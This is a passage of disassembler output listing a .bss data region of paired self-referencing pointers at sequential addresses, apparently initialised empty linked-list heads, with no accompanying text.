off_4001C838	dd offset off_4001C838	; DATA XREF: .bss:off_4001C838o
					; .bss:4001C83Co
		dd offset off_4001C838
off_4001C840	dd offset off_4001C840	; DATA XREF: .bss:off_4001C840o
					; .bss:4001C844o
		dd offset off_4001C840
off_4001C848	dd offset off_4001C848	; DATA XREF: .bss:off_4001C848o
					; .bss:4001C84Co
		dd offset off_4001C848
off_4001C850	dd offset off_4001C850	; DATA XREF: .bss:off_4001C850o
					; .bss:4001C854o
		dd offset off_4001C850
off_4001C858	dd offset off_4001C858	; DATA XREF: .bss:off_4001C858o
					; .bss:4001C85Co
		dd offset off_4001C858
off_4001C860	dd offset off_4001C860	; DATA XREF: .bss:off_4001C860o
					; .bss:4001C864o
		dd offset off_4001C860
off_4001C868	dd offset off_4001C868	; DATA XREF: .bss:off_4001C868o
					; .bss:4001C86Co
		dd offset off_4001C868
off_4001C870	dd offset off_4001C870	; DATA XREF: .bss:off_4001C870o
					; .bss:4001C874o
		dd offset off_4001C870
off_4001C878	dd offset off_4001C878	; DATA XREF: .bss:off_4001C878o
					; .bss:4001C87Co
		dd offset off_4001C878
off_4001C880	dd offset off_4001C880	; DATA XREF: .bss:off_4001C880o
					; .bss:4001C884o
		dd offset off_4001C880
off_4001C888	dd offset off_4001C888	; DATA XREF: .bss:off_4001C888o
					; .bss:4001C88Co
		dd offset off_4001C888
off_4001C890	dd offset off_4001C890	; DATA XREF: .bss:off_4001C890o
					; .bss:4001C894o
		dd offset off_4001C890
off_4001C898	dd offset off_4001C898	; DATA XREF: .bss:off_4001C898o
					; .bss:4001C89Co
		dd offset off_4001C898
off_4001C8A0	dd offset off_4001C8A0	; DATA XREF: .bss:off_4001C8A0o
					; .bss:4001C8A4o
		dd offset off_4001C8A0
off_4001C8A8	dd offset off_4001C8A8	; DATA XREF: .bss:off_4001C8A8o
					; .bss:4001C8ACo
		dd offset off_4001C8A8
off_4001C8B0	dd offset off_4001C8B0	; DATA XREF: .bss:off_4001C8B0o
					; .bss:4001C8B4o
		dd offset off_4001C8B0
off_4001C8B8	dd offset off_4001C8B8	; DATA XREF: .bss:off_4001C8B8o
					; .bss:4001C8BCo
		dd offset off_4001C8B8
off_4001C8C0	dd offset off_4001C8C0	; DATA XREF: .bss:off_4001C8C0o
					; .bss:4001C8C4o
		dd offset off_4001C8C0
off_4001C8C8	dd offset off_4001C8C8	; DATA XREF: .bss:off_4001C8C8o
					; .bss:4001C8CCo
		dd offset off_4001C8C8
off_4001C8D0	dd offset off_4001C8D0	; DATA XREF: .bss:off_4001C8D0o
					; .bss:4001C8D4o
		dd offset off_4001C8D0
off_4001C8D8	dd offset off_4001C8D8	; DATA XREF: .bss:off_4001C8D8o
					; .bss:4001C8DCo
		dd offset off_4001C8D8
off_4001C8E0	dd offset off_4001C8E0	; DATA XREF: .bss:off_4001C8E0o
					; .bss:4001C8E4o
		dd offset off_4001C8E0
off_4001C8E8	dd offset off_4001C8E8	; DATA XREF: .bss:off_4001C8E8o
					; .bss:4001C8ECo
		dd offset off_4001C8E8
off_4001C8F0	dd offset off_4001C8F0	; DATA XREF: .bss:off_4001C8F0o
					; .bss:4001C8F4o
		dd offset off_4001C8F0
off_4001C8F8	dd offset off_4001C8F8	; DATA XREF: .bss:off_4001C8F8o
					; .bss:4001C8FCo
		dd offset off_4001C8F8
off_4001C900	dd offset off_4001C900	; DATA XREF: .bss:off_4001C900o
					; .bss:4001C904o
		dd offset off_4001C900
off_4001C908	dd offset off_4001C908	; DATA XREF: .bss:off_4001C908o
					; .bss:4001C90Co
		dd offset off_4001C908
off_4001C910	dd offset off_4001C910	; DATA XREF: .bss:off_4001C910o
					; .bss:4001C914o
		dd offset off_4001C910
off_4001C918	dd offset off_4001C918	; DATA XREF: .bss:off_4001C918o
					; .bss:4001C91Co
		dd offset off_4001C918
off_4001C920	dd offset off_4001C920	; DATA XREF: .bss:off_4001C920o
					; .bss:4001C924o
		dd offset off_4001C920
off_4001C928	dd offset off_4001C928	; DATA XREF: .bss:off_4001C928o
					; .bss:4001C92Co
		dd offset off_4001C928
off_4001C930	dd offset off_4001C930	; DATA XREF: .bss:off_4001C930o
					; .bss:4001C934o
		dd offset off_4001C930
off_4001C938	dd offset off_4001C938	; DATA XREF: .bss:off_4001C938o
					; .bss:4001C93Co
		dd offset off_4001C938
off_4001C940	dd offset off_4001C940	; DATA XREF: .bss:off_4001C940o
					; .bss:4001C944o
		dd offset off_4001C940
off_4001C948	dd offset off_4001C948	; DATA XREF: .bss:off_4001C948o
					; .bss:4001C94Co
		dd offset off_4001C948
off_4001C950	dd offset off_4001C950	; DATA XREF: .bss:off_4001C950o
					; .bss:4001C954o
		dd offset off_4001C950
off_4001C958	dd offset off_4001C958	; DATA XREF: .bss:off_4001C958o
					; .bss:4001C95Co
		dd offset off_4001C958
off_4001C960	dd offset off_4001C960	; DATA XREF: .bss:off_4001C960o
					; .bss:4001C964o
		dd offset off_4001C960
off_4001C968	dd offset off_4001C968	; DATA XREF: .bss:off_4001C968o
					; .bss:4001C96Co
		dd offset off_4001C968
off_4001C970	dd offset off_4001C970	; DATA XREF: .bss:off_4001C970o
					; .bss:4001C974o
		dd offset off_4001C970
off_4001C978	dd offset off_4001C978	; DATA XREF: .bss:off_4001C978o
					; .bss:4001C97Co
		dd offset off_4001C978
off_4001C980	dd offset off_4001C980	; DATA XREF: .bss:off_4001C980o
					; .bss:4001C984o
		dd offset off_4001C980
off_4001C988	dd offset off_4001C988	; DATA XREF: .bss:off_4001C988o
					; .bss:4001C98Co
		dd offset off_4001C988
off_4001C990	dd offset off_4001C990	; DATA XREF: .bss:off_4001C990o
					; .bss:4001C994o
		dd offset off_4001C990
off_4001C998	dd offset off_4001C998	; DATA XREF: .bss:off_4001C998o
					; .bss:4001C99Co
		dd offset off_4001C998
off_4001C9A0	dd offset off_4001C9A0	; DATA XREF: .bss:off_4001C9A0o
					; .bss:4001C9A4o
		dd offset off_4001C9A0
off_4001C9A8	dd offset off_4001C9A8	; DATA XREF: .bss:off_4001C9A8o
					; .bss:4001C9ACo
		dd offset off_4001C9A8
off_4001C9B0	dd offset off_4001C9B0	; DATA XREF: .bss:off_4001C9B0o
					; .bss:4001C9B4o
		dd offset off_4001C9B0
off_4001C9B8	dd offset off_4001C9B8	; DATA XREF: .bss:off_4001C9B8o
					; .bss:4001C9BCo
		dd offset off_4001C9B8
off_4001C9C0	dd offset off_4001C9C0	; DATA XREF: .bss:off_4001C9C0o
					; .bss:4001C9C4o
		dd offset off_4001C9C0
off_4001C9C8	dd offset off_4001C9C8	; DATA XREF: .bss:off_4001C9C8o
					; .bss:4001C9CCo
		dd offset off_4001C9C8
off_4001C9D0	dd offset off_4001C9D0	; DATA XREF: .bss:off_4001C9D0o
					; .bss:4001C9D4o
		dd offset off_4001C9D0
off_4001C9D8	dd offset off_4001C9D8	; DATA XREF: .bss:off_4001C9D8o
					; .bss:4001C9DCo
		dd offset off_4001C9D8
off_4001C9E0	dd offset off_4001C9E0	; DATA XREF: .bss:off_4001C9E0o
					; .bss:4001C9E4o
		dd offset off_4001C9E0
off_4001C9E8	dd offset off_4001C9E8	; DATA XREF: .bss:off_4001C9E8o
					; .bss:4001C9ECo
		dd offset off_4001C9E8
off_4001C9F0	dd offset off_4001C9F0	; DATA XREF: .bss:off_4001C9F0o
					; .bss:4001C9F4o
		dd offset off_4001C9F0
off_4001C9F8	dd offset off_4001C9F8	; DATA XREF: .bss:off_4001C9F8o
					; .bss:4001C9FCo
		dd offset off_4001C9F8
off_4001CA00	dd offset off_4001CA00	; DATA XREF: .bss:off_4001CA00o
					; .bss:4001CA04o
		dd offset off_4001CA00
off_4001CA08	dd offset off_4001CA08	; DATA XREF: .bss:off_4001CA08o
					; .bss:4001CA0Co
		dd offset off_4001CA08
off_4001CA10	dd offset off_4001CA10	; DATA XREF: .bss:off_4001CA10o
					; .bss:4001CA14o
		dd offset off_4001CA10
off_4001CA18	dd offset off_4001CA18	; DATA XREF: .bss:off_4001CA18o
					; .bss:4001CA1Co
		dd offset off_4001CA18
off_4001CA20	dd offset off_4001CA20	; DATA XREF: .bss:off_4001CA20o
					; .bss:4001CA24o
		dd offset off_4001CA20
off_4001CA28	dd offset off_4001CA28	; DATA XREF: .bss:off_4001CA28o
					; .bss:4001CA2Co
		dd offset off_4001CA28
off_4001CA30	dd offset off_4001CA30	; DATA XREF: .bss:off_4001CA30o
					; .bss:4001CA34o
		dd offset off_4001CA30
off_4001CA38	dd offset off_4001CA38	; DATA XREF: .bss:off_4001CA38o
					; .bss:4001CA3Co
		dd offset off_4001CA38
off_4001CA40	dd offset off_4001CA40	; DATA XREF: .bss:off_4001CA40o
					; .bss:4001CA44o
		dd offset off_4001CA40
off_4001CA48	dd offset off_4001CA48	; DATA XREF: .bss:off_4001CA48o
					; .bss:4001CA4Co
		dd offset off_4001CA48
off_4001CA50	dd offset off_4001CA50	; DATA XREF: .bss:off_4001CA50o
					; .bss:4001CA54o
		dd offset off_4001CA50
off_4001CA58	dd offset off_4001CA58	; DATA XREF: .bss:off_4001CA58o
					; .bss:4001CA5Co
		dd offset off_4001CA58
off_4001CA60	dd offset off_4001CA60	; DATA XREF: .bss:off_4001CA60o
					; .bss:4001CA64o
		dd offset off_4001CA60
off_4001CA68	dd offset off_4001CA68	; DATA XREF: .bss:off_4001CA68o
					; .bss:4001CA6Co
		dd offset off_4001CA68
off_4001CA70	dd offset off_4001CA70	; DATA XREF: .bss:off_4001CA70o
					; .bss:4001CA74o
		dd offset off_4001CA70
off_4001CA78	dd offset off_4001CA78	; DATA XREF: .bss:off_4001CA78o
					; .bss:4001CA7Co
		dd offset off_4001CA78
off_4001CA80	dd offset off_4001CA80	; DATA XREF: .bss:off_4001CA80o
					; .bss:4001CA84o
		dd offset off_4001CA80
off_4001CA88	dd offset off_4001CA88	; DATA XREF: .bss:off_4001CA88o
					; .bss:4001CA8Co
		dd offset off_4001CA88
off_4001CA90	dd offset off_4001CA90	; DATA XREF: .bss:off_4001CA90o
					; .bss:4001CA94o
		dd offset off_4001CA90
off_4001CA98	dd offset off_4001CA98	; DATA XREF: .bss:off_4001CA98o
					; .bss:4001CA9Co
		dd offset off_4001CA98
off_4001CAA0	dd offset off_4001CAA0	; DATA XREF: .bss:off_4001CAA0o
					; .bss:4001CAA4o
		dd offset off_4001CAA0
off_4001CAA8	dd offset off_4001CAA8	; DATA XREF: .bss:off_4001CAA8o
					; .bss:4001CAACo
		dd offset off_4001CAA8
off_4001CAB0	dd offset off_4001CAB0	; DATA XREF: .bss:off_4001CAB0o
					; .bss:4001CAB4o
		dd offset off_4001CAB0
off_4001CAB8	dd offset off_4001CAB8	; DATA XREF: .bss:off_4001CAB8o
					; .bss:4001CABCo
		dd offset off_4001CAB8
off_4001CAC0	dd offset off_4001CAC0	; DATA XREF: .bss:off_4001CAC0o
					; .bss:4001CAC4o
		dd offset off_4001CAC0
off_4001CAC8	dd offset off_4001CAC8	; DATA XREF: .bss:off_4001CAC8o
					; .bss:4001CACCo
		dd offset off_4001CAC8
off_4001CAD0	dd offset off_4001CAD0	; DATA XREF: .bss:off_4001CAD0o
					; .bss:4001CAD4o
		dd offset off_4001CAD0
off_4001CAD8	dd offset off_4001CAD8	; DATA XREF: .bss:off_4001CAD8o
					; .bss:4001CADCo
		dd offset off_4001CAD8
off_4001CAE0	dd offset off_4001CAE0	; DATA XREF: .bss:off_4001CAE0o
					; .bss:4001CAE4o
		dd offset off_4001CAE0
		dd 2 dup(986A60h), 2 dup(4001CAF0h), 2 dup(4001CAF8h)
		dd 2 dup(4001CB00h), 2 dup(4001CB08h), 2 dup(4001CB10h)
		dd 2 dup(4001CB18h), 2 dup(4001CB20h), 2 dup(4001CB28h)
		dd 2 dup(4001CB30h), 2 dup(4001CB38h), 2 dup(4001CB40h)
		dd 2 dup(4001CB48h), 2 dup(4001CB50h), 2 dup(4001CB58h)
		dd 2 dup(4001CB60h), 2 dup(4001CB68h), 2 dup(4001CB70h)
		dd 2 dup(4001CB78h), 2 dup(4001CB80h), 2 dup(4001CB88h)
		dd 2 dup(4001CB90h), 2 dup(4001CB98h), 2 dup(4001CBA0h)
		dd 2 dup(4001CBA8h), 2 dup(4001CBB0h), 2 dup(4001CBB8h)
		dd 2 dup(4001CBC0h), 2 dup(4001CBC8h), 2 dup(4001CBD0h)
		dd 2 dup(4001CBD8h), 2 dup(4001CBE0h), 2 dup(4001CBE8h)
		dd 2 dup(4001CBF0h), 2 dup(4001CBF8h), 2 dup(4001CC00h)
		dd 2 dup(4001CC08h), 2 dup(4001CC10h), 2 dup(4001CC18h)
		dd 2 dup(4001CC20h), 2 dup(4001CC28h), 2 dup(4001CC30h)
		dd 2 dup(4001CC38h), 2 dup(4001CC40h), 2 dup(4001CC48h)
		dd 2 dup(4001CC50h), 2 dup(4001CC58h), 2 dup(4001CC60h)
		dd 2 dup(4001CC68h), 2 dup(4001CC70h), 2 dup(4001CC78h)
		dd 2 dup(4001CC80h), 2 dup(4001CC88h), 2 dup(4001CC90h)
		dd 2 dup(4001CC98h), 2 dup(4001CCA0h), 2 dup(4001CCA8h)
		dd 2 dup(4001CCB0h), 2 dup(4001CCB8h), 2 dup(4001CCC0h)
		dd 2 dup(4001CCC8h), 2 dup(4001CCD0h), 2 dup(4001CCD8h)
		dd 2 dup(4001CCE0h), 2 dup(4001CCE8h), 2 dup(4001CCF0h)
		dd 2 dup(4001CCF8h), 2 dup(4001CD00h), 2 dup(4001CD08h)
		dd 2 dup(4001CD10h), 2 dup(4001CD18h), 2 dup(4001CD20h)
		dd 2 dup(4001CD28h), 2 dup(4001CD30h), 2 dup(4001CD38h)
		dd 2 dup(4001CD40h), 2 dup(4001CD48h), 2 dup(4001CD50h)
		dd 2 dup(4001CD58h), 2 dup(4001CD60h), 2 dup(4001CD68h)
		dd 2 dup(4001CD70h), 2 dup(4001CD78h), 2 dup(4001CD80h)
		dd 2 dup(4001CD88h), 2 dup(4001CD90h), 2 dup(4001CD98h)
		dd 2 dup(4001CDA0h), 2 dup(4001CDA8h), 2 dup(4001CDB0h)
		dd 2 dup(4001CDB8h), 2 dup(4001CDC0h), 2 dup(4001CDC8h)
		dd 2 dup(4001CDD0h), 2 dup(4001CDD8h), 2 dup(4001CDE0h)
		dd 2 dup(4001CDE8h), 2 dup(4001CDF0h), 2 dup(4001CDF8h)
		dd 2 dup(4001CE00h), 2 dup(4001CE08h), 2 dup(4001CE10h)
		dd 2 dup(4001CE18h), 2 dup(4001CE20h), 2 dup(4001CE28h)
		dd 2 dup(4001CE30h), 2 dup(4001CE38h), 2 dup(4001CE40h)
		dd 2 dup(4001CE48h), 2 dup(4001CE50h), 2 dup(4001CE58h)
		dd 2 dup(4001CE60h), 2 dup(4001CE68h), 2 dup(4001CE70h)
		dd 2 dup(4001CE78h), 2 dup(4001CE80h), 2 dup(4001CE88h)
		dd 2 dup(4001CE90h), 2 dup(4001CE98h), 2 dup(4001CEA0h)
		dd 2 dup(4001CEA8h), 2 dup(4001CEB0h), 2 dup(4001CEB8h)
		dd 2 dup(4001CEC0h), 2 dup(4001CEC8h), 2 dup(4001CED0h)
		dd 2 dup(4001CED8h), 2 dup(4001CEE0h), 2 dup(4001CEE8h)
		dd 2 dup(4001CEF0h), 2 dup(4001CEF8h), 2 dup(4001CF00h)
		dd 2 dup(4001CF08h), 2 dup(4001CF10h), 2 dup(4001CF18h)
		dd 2 dup(4001CF20h), 2 dup(4001CF28h), 2 dup(4001CF30h)
		dd 2 dup(4001CF38h), 2 dup(4001CF40h), 2 dup(4001CF48h)
		dd 2 dup(4001CF50h), 2 dup(4001CF58h), 2 dup(4001CF60h)
		dd 2 dup(4001CF68h), 2 dup(4001CF70h), 2 dup(4001CF78h)
		dd 2 dup(4001CF80h), 2 dup(4001CF88h), 2 dup(4001CF90h)
		dd 2 dup(4001CF98h), 2 dup(4001CFA0h), 2 dup(4001CFA8h)
		dd 2 dup(4001CFB0h), 2 dup(4001CFB8h), 2 dup(4001CFC0h)
		dd 2 dup(4001CFC8h), 2 dup(4001CFD0h), 2 dup(4001CFD8h)
		dd 2 dup(4001CFE0h), 2 dup(4001CFE8h), 2 dup(4001CFF0h)
		dd 2 dup(4001CFF8h), 2 dup(4001D000h), 2 dup(4001D008h)
		dd 2 dup(4001D010h), 2 dup(4001D018h), 2 dup(4001D020h)
		dd 2 dup(4001D028h), 2 dup(4001D030h), 2 dup(4001D038h)
		dd 2 dup(4001D040h), 2 dup(4001D048h), 2 dup(4001D050h)
		dd 2 dup(4001D058h), 2 dup(4001D060h), 2 dup(4001D068h)
		dd 2 dup(4001D070h), 2 dup(4001D078h), 2 dup(4001D080h)
		dd 2 dup(4001D088h), 2 dup(4001D090h), 2 dup(4001D098h)
		dd 2 dup(4001D0A0h), 2 dup(4001D0A8h), 2 dup(4001D0B0h)
		dd 2 dup(4001D0B8h), 2 dup(4001D0C0h), 2 dup(4001D0C8h)
		dd 2 dup(4001D0D0h), 2 dup(4001D0D8h), 2 dup(4001D0E0h)
		dd 2 dup(4001D0E8h), 2 dup(4001D0F0h), 2 dup(4001D0F8h)
		dd 2 dup(4001D100h), 2 dup(4001D108h), 2 dup(4001D110h)
		dd 2 dup(4001D118h), 2 dup(4001D120h), 2 dup(4001D128h)
		dd 2 dup(4001D130h), 2 dup(4001D138h), 2 dup(4001D140h)
		dd 2 dup(4001D148h), 2 dup(4001D150h), 2 dup(4001D158h)
		dd 2 dup(4001D160h), 2 dup(4001D168h), 2 dup(4001D170h)
		dd 2 dup(4001D178h), 2 dup(4001D180h), 2 dup(4001D188h)
		dd 2 dup(4001D190h), 2 dup(4001D198h), 2 dup(4001D1A0h)
		dd 2 dup(4001D1A8h), 2 dup(4001D1B0h), 2 dup(4001D1B8h)
		dd 2 dup(4001D1C0h), 2 dup(4001D1C8h), 2 dup(4001D1D0h)
		dd 2 dup(4001D1D8h), 2 dup(4001D1E0h), 2 dup(4001D1E8h)
		dd 2 dup(4001D1F0h), 2 dup(4001D1F8h), 2 dup(4001D200h)
		dd 2 dup(4001D208h), 2 dup(4001D210h), 2 dup(4001D218h)
		dd 2 dup(4001D220h), 2 dup(4001D228h), 2 dup(4001D230h)
		dd 2 dup(4001D238h), 2 dup(4001D240h), 2 dup(4001D248h)
		dd 2 dup(4001D250h), 2 dup(4001D258h), 2 dup(4001D260h)
		dd 2 dup(4001D268h), 2 dup(4001D270h), 2 dup(4001D278h)
		dd 2 dup(4001D280h), 2 dup(4001D288h), 2 dup(4001D290h)
		dd 2 dup(4001D298h), 2 dup(4001D2A0h), 2 dup(4001D2A8h)
		dd 2 dup(4001D2B0h), 2 dup(4001D2B8h), 2 dup(4001D2C0h)
		dd 2 dup(4001D2C8h), 2 dup(4001D2D0h), 2 dup(4001D2D8h)
		dd 2 dup(4001D2E0h), 2 dup(4001D2E8h), 2 dup(4001D2F0h)
		dd 2 dup(4001D2F8h), 2 dup(4001D300h), 2 dup(4001D308h)
		dd 2 dup(4001D310h), 2 dup(4001D318h), 2 dup(4001D320h)
		dd 2 dup(4001D328h), 2 dup(4001D330h), 2 dup(4001D338h)
		dd 2 dup(4001D340h), 2 dup(4001D348h), 2 dup(4001D350h)
		dd 2 dup(4001D358h), 2 dup(4001D360h), 2 dup(4001D368h)
		dd 2 dup(4001D370h), 2 dup(4001D378h), 2 dup(4001D380h)
		dd 2 dup(4001D388h), 2 dup(4001D390h), 2 dup(4001D398h)
		dd 2 dup(4001D3A0h), 2 dup(4001D3A8h), 2 dup(4001D3B0h)
		dd 2 dup(4001D3B8h), 2 dup(4001D3C0h), 2 dup(4001D3C8h)
		dd 2 dup(4001D3D0h), 2 dup(4001D3D8h), 2 dup(4001D3E0h)
		dd 2 dup(4001D3E8h), 2 dup(4001D3F0h), 2 dup(4001D3F8h)
		dd 2 dup(4001D400h), 2 dup(4001D408h), 2 dup(4001D410h)
		dd 2 dup(4001D418h), 2 dup(4001D420h), 2 dup(4001D428h)
		dd 2 dup(4001D430h), 2 dup(4001D438h), 2 dup(4001D440h)
		dd 2 dup(4001D448h), 2 dup(4001D450h), 2 dup(4001D458h)
		dd 2 dup(4001D460h), 2 dup(4001D468h), 2 dup(4001D470h)
		dd 2 dup(4001D478h), 2 dup(4001D480h), 2 dup(4001D488h)
		dd 2 dup(4001D490h), 2 dup(4001D498h), 2 dup(4001D4A0h)
		dd 2 dup(4001D4A8h), 2 dup(4001D4B0h), 2 dup(4001D4B8h)
		dd 2 dup(4001D4C0h), 2 dup(4001D4C8h), 2 dup(4001D4D0h)
		dd 2 dup(4001D4D8h), 2 dup(4001D4E0h), 2 dup(4001D4E8h)
		dd 2 dup(4001D4F0h), 2 dup(4001D4F8h), 2 dup(4001D500h)
		dd 2 dup(4001D508h), 2 dup(4001D510h), 2 dup(4001D518h)
		dd 2 dup(4001D520h), 2 dup(4001D528h), 2 dup(4001D530h)
		dd 2 dup(4001D538h), 2 dup(4001D540h), 2 dup(4001D548h)
		dd 2 dup(4001D550h), 2 dup(4001D558h), 2 dup(4001D560h)
		dd 2 dup(4001D568h), 2 dup(4001D570h), 2 dup(4001D578h)
		dd 2 dup(4001D580h), 2 dup(4001D588h), 2 dup(4001D590h)
		dd 2 dup(4001D598h), 2 dup(4001D5A0h), 2 dup(4001D5A8h)
		dd 2 dup(4001D5B0h), 2 dup(4001D5B8h), 2 dup(4001D5C0h)
		dd 2 dup(4001D5C8h), 2 dup(4001D5D0h), 2 dup(4001D5D8h)
		dd 2 dup(4001D5E0h), 2 dup(4001D5E8h), 2 dup(4001D5F0h)
		dd 2 dup(4001D5F8h), 2 dup(4001D600h), 2 dup(4001D608h)
		dd 2 dup(4001D610h), 2 dup(4001D618h), 2 dup(4001D620h)
		dd 2 dup(4001D628h), 2 dup(4001D630h), 2 dup(4001D638h)
		dd 2 dup(4001D640h), 2 dup(4001D648h), 2 dup(4001D650h)
		dd 2 dup(4001D658h), 2 dup(4001D660h), 2 dup(4001D668h)
		dd 2 dup(4001D670h), 2 dup(4001D678h), 2 dup(4001D680h)
		dd 2 dup(4001D688h), 2 dup(4001D690h), 2 dup(4001D698h)
		dd 2 dup(4001D6A0h), 2 dup(4001D6A8h), 2 dup(4001D6B0h)
		dd 2 dup(4001D6B8h), 2 dup(4001D6C0h), 2 dup(4001D6C8h)
		dd 2 dup(4001D6D0h), 2 dup(4001D6D8h), 2 dup(4001D6E0h)
		dd 2 dup(4001D6E8h), 2 dup(4001D6F0h), 2 dup(4001D6F8h)
		dd 2 dup(4001D700h), 2 dup(4001D708h), 2 dup(4001D710h)
		dd 2 dup(4001D718h), 2 dup(4001D720h), 2 dup(4001D728h)
		dd 2 dup(4001D730h), 2 dup(4001D738h), 2 dup(4001D740h)
		dd 2 dup(4001D748h), 2 dup(4001D750h), 2 dup(4001D758h)
		dd 2 dup(4001D760h), 2 dup(4001D768h), 2 dup(4001D770h)
		dd 2 dup(4001D778h), 2 dup(4001D780h), 2 dup(4001D788h)
		dd 2 dup(4001D790h), 2 dup(4001D798h), 2 dup(4001D7A0h)
		dd 2 dup(4001D7A8h), 2 dup(4001D7B0h), 2 dup(4001D7B8h)
		dd 2 dup(4001D7C0h), 2 dup(4001D7C8h), 2 dup(4001D7D0h)
		dd 2 dup(4001D7D8h), 2 dup(4001D7E0h), 2 dup(4001D7E8h)
		dd 2 dup(4001D7F0h), 2 dup(4001D7F8h), 2 dup(4001D800h)
		dd 2 dup(4001D808h), 2 dup(4001D810h), 2 dup(4001D818h)
		dd 2 dup(4001D820h), 2 dup(4001D828h), 2 dup(4001D830h)
		dd 2 dup(4001D838h), 2 dup(4001D840h), 2 dup(4001D848h)
		dd 2 dup(4001D850h), 2 dup(4001D858h), 2 dup(4001D860h)
		dd 2 dup(4001D868h), 2 dup(4001D870h), 2 dup(4001D878h)
		dd 2 dup(4001D880h), 2 dup(4001D888h), 2 dup(4001D890h)
		dd 2 dup(4001D898h), 2 dup(4001D8A0h), 2 dup(4001D8A8h)
		dd 2 dup(4001D8B0h), 2 dup(4001D8B8h), 2 dup(4001D8C0h)
		dd 2 dup(4001D8C8h), 2 dup(4001D8D0h), 2 dup(4001D8D8h)
		dd 2 dup(4001D8E0h), 2 dup(4001D8E8h), 2 dup(4001D8F0h)
		dd 2 dup(4001D8F8h), 2 dup(4001D900h), 2 dup(4001D908h)
		dd 2 dup(4001D910h), 2 dup(4001D918h), 2 dup(4001D920h)
		dd 2 dup(4001D928h), 2 dup(9F29C0h), 2 dup(4001D938h)
		dd 2 dup(4001D940h), 2 dup(4001D948h), 2 dup(4001D950h)
		dd 2 dup(4001D958h), 2 dup(4001D960h), 2 dup(4001D968h)
		dd 2 dup(4001D970h), 2 dup(4001D978h), 2 dup(4001D980h)
		dd 2 dup(4001D988h), 2 dup(4001D990h), 2 dup(4001D998h)
		dd 2 dup(4001D9A0h), 2 dup(4001D9A8h), 2 dup(4001D9B0h)
		dd 2 dup(4001D9B8h), 2 dup(4001D9C0h), 2 dup(4001D9C8h)
		dd 2 dup(4001D9D0h), 2 dup(4001D9D8h), 2 dup(4001D9E0h)
		dd 2 dup(4001D9E8h), 2 dup(4001D9F0h), 2 dup(4001D9F8h)
		dd 2 dup(4001DA00h), 2 dup(4001DA08h), 2 dup(4001DA10h)
		dd 2 dup(4001DA18h), 2 dup(4001DA20h), 2 dup(4001DA28h)
		dd 2 dup(4001DA30h), 2 dup(4001DA38h), 2 dup(4001DA40h)
		dd 2 dup(4001DA48h), 2 dup(4001DA50h), 2 dup(4001DA58h)
		dd 2 dup(4001DA60h), 2 dup(4001DA68h), 2 dup(4001DA70h)
		dd 2 dup(4001DA78h), 2 dup(4001DA80h), 2 dup(4001DA88h)
		dd 2 dup(4001DA90h), 2 dup(4001DA98h), 2 dup(4001DAA0h)
		dd 2 dup(4001DAA8h), 2 dup(4001DAB0h), 2 dup(4001DAB8h)
		dd 2 dup(4001DAC0h), 2 dup(4001DAC8h), 2 dup(4001DAD0h)
		dd 2 dup(4001DAD8h), 4001DAE0h
		dd 4001DAE0h, 2	dup(4001DAE8h),	2 dup(4001DAF0h), 2 dup(4001DAF8h)
		dd 2 dup(4001DB00h), 2 dup(4001DB08h), 2 dup(4001DB10h)
		dd 2 dup(4001DB18h), 2 dup(4001DB20h), 2 dup(4001DB28h)
		dd 2 dup(4001DB30h), 2 dup(4001DB38h), 2 dup(4001DB40h)
		dd 2 dup(4001DB48h), 2 dup(4001DB50h), 2 dup(4001DB58h)
		dd 2 dup(4001DB60h), 2 dup(4001DB68h), 2 dup(4001DB70h)
		dd 2 dup(4001DB78h), 2 dup(4001DB80h), 2 dup(4001DB88h)
		dd 2 dup(4001DB90h), 2 dup(4001DB98h), 2 dup(4001DBA0h)
		dd 2 dup(4001DBA8h), 2 dup(4001DBB0h), 2 dup(4001DBB8h)
		dd 2 dup(4001DBC0h), 2 dup(4001DBC8h), 2 dup(4001DBD0h)
		dd 2 dup(4001DBD8h), 2 dup(4001DBE0h), 2 dup(4001DBE8h)
		dd 2 dup(4001DBF0h), 2 dup(4001DBF8h), 2 dup(4001DC00h)
		dd 2 dup(4001DC08h), 2 dup(4001DC10h), 2 dup(4001DC18h)
		dd 2 dup(4001DC20h), 2 dup(4001DC28h), 2 dup(4001DC30h)
		dd 2 dup(4001DC38h), 2 dup(4001DC40h), 2 dup(4001DC48h)
		dd 2 dup(4001DC50h), 2 dup(4001DC58h), 2 dup(4001DC60h)
		dd 2 dup(4001DC68h), 2 dup(4001DC70h), 2 dup(4001DC78h)
		dd 2 dup(4001DC80h), 2 dup(4001DC88h), 2 dup(4001DC90h)
		dd 2 dup(4001DC98h), 2 dup(4001DCA0h), 2 dup(4001DCA8h)
		dd 2 dup(4001DCB0h), 2 dup(4001DCB8h), 2 dup(4001DCC0h)
		dd 2 dup(4001DCC8h), 2 dup(4001DCD0h), 2 dup(4001DCD8h)
		dd 2 dup(4001DCE0h), 2 dup(4001DCE8h), 2 dup(4001DCF0h)
		dd 2 dup(4001DCF8h), 2 dup(4001DD00h), 2 dup(4001DD08h)
		dd 2 dup(4001DD10h), 2 dup(4001DD18h), 2 dup(4001DD20h)
		dd 2 dup(4001DD28h), 2 dup(4001DD30h), 2 dup(4001DD38h)
		dd 2 dup(4001DD40h), 2 dup(4001DD48h), 2 dup(4001DD50h)
		dd 2 dup(4001DD58h), 2 dup(4001DD60h), 2 dup(4001DD68h)
		dd 2 dup(4001DD70h), 2 dup(4001DD78h), 2 dup(4001DD80h)
		dd 2 dup(4001DD88h), 2 dup(4001DD90h), 2 dup(4001DD98h)
		dd 2 dup(4001DDA0h), 2 dup(4001DDA8h), 2 dup(4001DDB0h)
		dd 2 dup(4001DDB8h), 2 dup(4001DDC0h), 2 dup(4001DDC8h)
		dd 2 dup(4001DDD0h), 2 dup(4001DDD8h), 2 dup(4001DDE0h)
		dd 2 dup(4001DDE8h), 2 dup(4001DDF0h), 2 dup(4001DDF8h)
		dd 2 dup(4001DE00h), 2 dup(4001DE08h), 2 dup(4001DE10h)
		dd 2 dup(4001DE18h), 2 dup(4001DE20h), 2 dup(4001DE28h)
		dd 2 dup(4001DE30h), 2 dup(4001DE38h), 2 dup(4001DE40h)
		dd 2 dup(4001DE48h), 2 dup(4001DE50h), 2 dup(4001DE58h)
		dd 2 dup(4001DE60h), 2 dup(4001DE68h), 2 dup(4001DE70h)
		dd 2 dup(4001DE78h), 2 dup(4001DE80h), 2 dup(4001DE88h)
		dd 2 dup(4001DE90h), 2 dup(4001DE98h), 2 dup(4001DEA0h)
		dd 2 dup(4001DEA8h), 2 dup(4001DEB0h), 2 dup(4001DEB8h)
		dd 2 dup(4001DEC0h), 2 dup(4001DEC8h), 2 dup(4001DED0h)
